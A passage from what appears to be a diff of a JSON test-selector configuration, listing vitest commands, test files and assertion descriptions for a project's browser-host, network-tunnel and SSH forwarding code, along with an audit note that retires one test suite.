src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts src/main/browser/network/tunnels/system-ssh-socks-client-socket.test.ts src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts src/main/ssh/system-transport/forwarding/system-ssh-forward-process.test.ts src/main/ssh/system-transport/system-ssh-operations.test.ts src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"testFiles\":[\"src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts\",\"src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\"src/main/runtime/browser-host/reconciliation/browser-host-page-retirement.test.ts\",\"src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts\",\"src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts\",\"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\"src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"src/main/browser/routing/sessions/browser-route-prepared-page-rekey.test.ts\",\"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\"src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts\",\"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\"src/main/browser/network/tunnels/system-ssh-socks-client-socket.test.ts\",\"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\"src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\"src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"src/shared/ws-outbound-backpressure-queue.test.ts\",\"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\"assertions\":[\"an acknowledged mutation replay uses the preserved dispatcher result without rerunning its handler\"]},{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\"assertions\":[\"waits for old handlers and ignores their late callbacks before replacement\",\"keeps one command gate across repeated loss while fencing stale route recovery\"]},{\"file\":\"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"assertions\":[\"joins concurrent cleanup callers and holds resources until exact native destruction\"]},{\"file\":\"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"assertions\":[\"destroys a guest rekeyed during an authority transition instead of granting navigation\"]},{\"file\":\"src/main/browser/routing/sessions/browser-route-prepared-page-rekey.test.ts\",\"assertions\":[\"prepared authority rekeys without changing its opaque capability token\",\"stale, occupied, cross-page, and cross-renderer targets fail without mutation\"]},{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\"assertions\":[\"keeps a failed authority transition tombstoned until cleanup settles\"]},{\"file\":\"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\"assertions\":[\"retains one exact route until its final page releases it\",\"keeps an ambiguously closed route fenced until final registry cleanup\",\"retires old authority routes without destroying them before exact page cleanup\",\"aborts a stale route recovery without retaining its retry timer\",\"fails bounded recovery after one route exhausts grace without leaking timers\",\"mints a fresh route for a retain that lands while the previous one is closing\",\"waits for a route still closing before reporting retirement\",\"rejects a retain the moment its signal aborts mid-startup\",\"refuses a retain that waited out a closing route onto a retired registry\",\"reports a failed final cleanup to an awaiting retirement\"]},{\"file\":\"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"assertions\":[\"keeps a timed-out retirement fenced until its handler actually settles\",\"bounds close while canceling queued and non-cooperative handlers\"]},{\"file\":\"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\"assertions\":[\"oversized wire payloads fail before page, sequence, or delivery admission\",\"new issue delivery failure closes the ledger and fences every outstanding outcome\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"assertions\":[\"negotiated exact reattach emits ready before replaying the unchanged unsettled command\",\"reattach before old cleanup preserves the same authority and ends only the superseded connection stream\",\"only the exact negotiated connection, paired device, and live page placement can settle a server-owned command\",\"exact duplicate results are idempotent while conflicts and stale or retired placement fail closed\",\"a second browser-host identity on one authenticated connection is rejected\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\"assertions\":[\"command result settlement requires the exact negotiated reconciliation authority\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\"assertions\":[\"replenishes client credit only after the destination write settles\",\"keeps concurrent streams alive when late data arrives for a retired stream\",\"flushes credited destination bytes before close\",\"caps aggregate retained destination bytes and releases exact stream accounting\",\"caps unsettled destination writes and releases retirement exactly once\",\"releases queued bytes once when an accepted send closes reentrantly\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\"assertions\":[\"multiple execution-host routes share browser-host application-byte admission in both traffic directions\",\"route close releases aggregate claims exactly before stale destination-write callbacks\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\"assertions\":[\"preserves remote DNS and waits for an opened acknowledgement\",\"sends only credited bytes in bounded frames and replenishes consumed input\",\"ignores a retired stream frame but rejects a never-allocated stream ID\",\"never reuses stream IDs within one generation after its bounded ledger exhausts\",\"replenishes only bytes settled after the readable consumer takes them\",\"fails closed when pending tiny destination frames exceed the chunk cap\",\"drains data that precedes a remote close before retiring the socket\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\"assertions\":[\"application, encrypted-queue, and native socket bytes share one host ceiling\",\"distinct hosts share one process ceiling with exact release\",\"zero-byte claims, socket sources, hosts, and leases have independent bounds\",\"released leases cannot admit work and retained owners keep exact accounting alive\",\"unavailable native-buffer evidence fails closed until its exact source releases\"]},{\"file\":\"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"assertions\":[\"domain CONNECT preserves the final execution-host DNS target\",\"unsupported commands and unavailable routes open no fallback destination\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\"assertions\":[\"ungranted or wrong-key SSH routes are rejected before resolver or binary registration\",\"connector diagnostics are mapped to a stable public error without local path disclosure\",\"grant revocation aborts connector startup immediately and cannot race through route admission\",\"the server allocates route generations and fences the replaced route\"]},{\"file\":\"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\"assertions\":[\"closes a subscription that resolves after route teardown\",\"settles startup when close follows subscription acquisition before readiness\",\"bounds the post-auth readiness wait\",\"binds and releases the exact browser-host outbound memory lease\",\"keeps one listener fail-closed and accepts an increasing replacement generation\",\"ignores late callbacks from a superseded transport\",\"recovers again after a second transport death\",\"rejects a non-increasing replacement generation and remains retryable\",\"fences a ready generation even when the replacement closes before its await resumes\",\"replaces the tunnel generation before recycling a bounded stream ID\"]},{\"file\":\"src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts\",\"assertions\":[\"destroy before source attachment emits one close and destroys a late source\",\"source close after destroy cannot emit duplicate wrapper close\"]},{\"file\":\"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\"assertions\":[\"does not adopt a replacement ssh2 client under the captured authority\",\"releases a deferred socket when forwardOut throws during disconnect\",\"aborts system SSH startup when route authorization is revoked\",\"reaches external sites over ssh2 through the host proxy and keeps local names direct\",\"dials directly while the host environment is unreadable and adopts it once a retry reads it\",\"reaches external sites over system SSH through the host proxy\"]},{\"file\":\"src/main/browser/network/tunnels/system-ssh-socks-client-socket.test.ts\",\"assertions\":[\"the internal SOCKS5 client encodes the exact destination as a domain request\"]},{\"file\":\"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\"assertions\":[\"authority invalidation cancels an in-progress SSH launch and destroys its active readiness probe immediately\"]},{\"file\":\"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\"assertions\":[\"an ephemeral sshd resolves a container-only domain and returns a unique HTTP marker\",\"the real ssh2 forwardOut receives that exact domain and provider loss fences the route\",\"one non-interactive system-OpenSSH dynamic forward passes the same remote-only oracle and closes cleanly\"]},{\"file\":\"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"assertions\":[\"nested JSON responses route by exact request ID under reverse-order delivery\"]},{\"file\":\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"assertions\":[\"the authenticated socket binds the optional tunnel capability\",\"the dedicated outbound queue reports hard overflow instead of dropping a frame\",\"encrypted queue claims release synchronously while native socket ownership remains charged through exact close\"]},{\"file\":\"src/shared/ws-outbound-backpressure-queue.test.ts\",\"assertions\":[\"direct and already-retained queued frames use distinct aggregate admission semantics\"]}]}", - "Audit5896 retires the entire src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete original active selector fields archived as JSON history: {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/shared/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts src/main/ssh/system-transport/forwarding/system-ssh-forward-process.test.ts src/main/ssh/system-transport/system-ssh-operations.test.ts src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"testFiles\":[\"src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts\",\"src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\"src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts\",\"src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts\",\"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\"src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\"src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts\",\"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\"src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\"src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"src/shared/ws-outbound-backpressure-queue.test.ts\",\"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\"assertions\":[\"an acknowledged mutation replay uses the preserved dispatcher result without rerunning its handler\"]},{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\"assertions\":[\"waits for old handlers and ignores their late callbacks before replacement\",\"keeps one command gate across repeated loss while fencing stale route recovery\"]},{\"file\":\"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"assertions\":[\"joins concurrent cleanup callers and holds resources until exact native destruction\"]},{\"file\":\"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"assertions\":[\"destroys a guest rekeyed during an authority transition instead of granting navigation\"]},{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\"assertions\":[\"keeps a failed authority transition tombstoned until cleanup settles\"]},{\"file\":\"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\"assertions\":[\"retains one exact route until its final page releases it\",\"keeps an ambiguously closed route fenced until final registry cleanup\",\"retires old authority routes without destroying them before exact page cleanup\",\"aborts a stale route recovery without retaining its retry timer\",\"fails bounded recovery after one route exhausts grace without leaking timers\",\"mints a fresh route for a retain that lands while the previous one is closing\",\"waits for a route still closing before reporting retirement\",\"rejects a retain the moment its signal aborts mid-startup\",\"refuses a retain that waited out a closing route onto a retired registry\",\"reports a failed final cleanup to an awaiting retirement\"]},{\"file\":\"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"assertions\":[\"keeps a timed-out retirement fenced until its handler actually settles\",\"bounds close while canceling queued and non-cooperative handlers\"]},{\"file\":\"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\"assertions\":[\"oversized wire payloads fail before page, sequence, or delivery admission\",\"new issue delivery failure closes the ledger and fences every outstanding outcome\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"assertions\":[\"negotiated exact reattach emits ready before replaying the unchanged unsettled command\",\"reattach before old cleanup preserves the same authority and ends only the superseded connection stream\",\"only the exact negotiated connection, paired device, and live page placement can settle a server-owned command\",\"exact duplicate results are idempotent while conflicts and stale or retired placement fail closed\",\"a second browser-host identity on one authenticated connection is rejected\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\"assertions\":[\"command result settlement requires the exact negotiated reconciliation authority\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\"assertions\":[\"replenishes client credit only after the destination write settles\",\"keeps concurrent streams alive when late data arrives for a retired stream\",\"flushes credited destination bytes before close\",\"caps aggregate retained destination bytes and releases exact stream accounting\",\"caps unsettled destination writes and releases retirement exactly once\",\"releases queued bytes once when an accepted send closes reentrantly\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\"assertions\":[\"multiple execution-host routes share browser-host application-byte admission in both traffic directions\",\"route close releases aggregate claims exactly before stale destination-write callbacks\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\"assertions\":[\"preserves remote DNS and waits for an opened acknowledgement\",\"sends only credited bytes in bounded frames and replenishes consumed input\",\"ignores a retired stream frame but rejects a never-allocated stream ID\",\"never reuses stream IDs within one generation after its bounded ledger exhausts\",\"replenishes only bytes settled after the readable consumer takes them\",\"fails closed when pending tiny destination frames exceed the chunk cap\",\"drains data that precedes a remote close before retiring the socket\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\"assertions\":[\"application, encrypted-queue, and native socket bytes share one host ceiling\",\"distinct hosts share one process ceiling with exact release\",\"zero-byte claims, socket sources, hosts, and leases have independent bounds\",\"released leases cannot admit work and retained owners keep exact accounting alive\",\"unavailable native-buffer evidence fails closed until its exact source releases\"]},{\"file\":\"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"assertions\":[\"domain CONNECT preserves the final execution-host DNS target\",\"unsupported commands and unavailable routes open no fallback destination\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\"assertions\":[\"ungranted or wrong-key SSH routes are rejected before resolver or binary registration\",\"connector diagnostics are mapped to a stable public error without local path disclosure\",\"grant revocation aborts connector startup immediately and cannot race through route admission\",\"the server allocates route generations and fences the replaced route\"]},{\"file\":\"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\"assertions\":[\"closes a subscription that resolves after route teardown\",\"settles startup when close follows subscription acquisition before readiness\",\"bounds the post-auth readiness wait\",\"binds and releases the exact browser-host outbound memory lease\",\"keeps one listener fail-closed and accepts an increasing replacement generation\",\"ignores late callbacks from a superseded transport\",\"recovers again after a second transport death\",\"rejects a non-increasing replacement generation and remains retryable\",\"fences a ready generation even when the replacement closes before its await resumes\",\"replaces the tunnel generation before recycling a bounded stream ID\"]},{\"file\":\"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\"assertions\":[\"does not adopt a replacement ssh2 client under the captured authority\",\"releases a deferred socket when forwardOut throws during disconnect\",\"aborts system SSH startup when route authorization is revoked\",\"reaches external sites over ssh2 through the host proxy and keeps local names direct\",\"dials directly while the host environment is unreadable and adopts it once a retry reads it\",\"reaches external sites over system SSH through the host proxy\"]},{\"file\":\"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\"assertions\":[\"authority invalidation cancels an in-progress SSH launch and destroys its active readiness probe immediately\"]},{\"file\":\"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\"assertions\":[\"an ephemeral sshd resolves a container-only domain and returns a unique HTTP marker\",\"the real ssh2 forwardOut receives that exact domain and provider loss fences the route\",\"one non-interactive system-OpenSSH dynamic forward passes the same remote-only oracle and closes cleanly\"]},{\"file\":\"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"assertions\":[\"nested JSON responses route by exact request ID under reverse-order delivery\"]},{\"file\":\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"assertions\":[\"the authenticated socket binds the optional tunnel capability\",\"the dedicated outbound queue reports hard overflow instead of dropping a frame\",\"encrypted queue claims release synchronously while native socket ownership remains charged through exact close\"]},{\"file\":\"src/shared/ws-outbound-backpressure-queue.test.ts\",\"assertions\":[\"direct and already-retained queued frames use distinct aggregate admission semantics\"]}]}" + "Audit5896 retires the entire src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete original active selector fields archived as JSON history: {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config 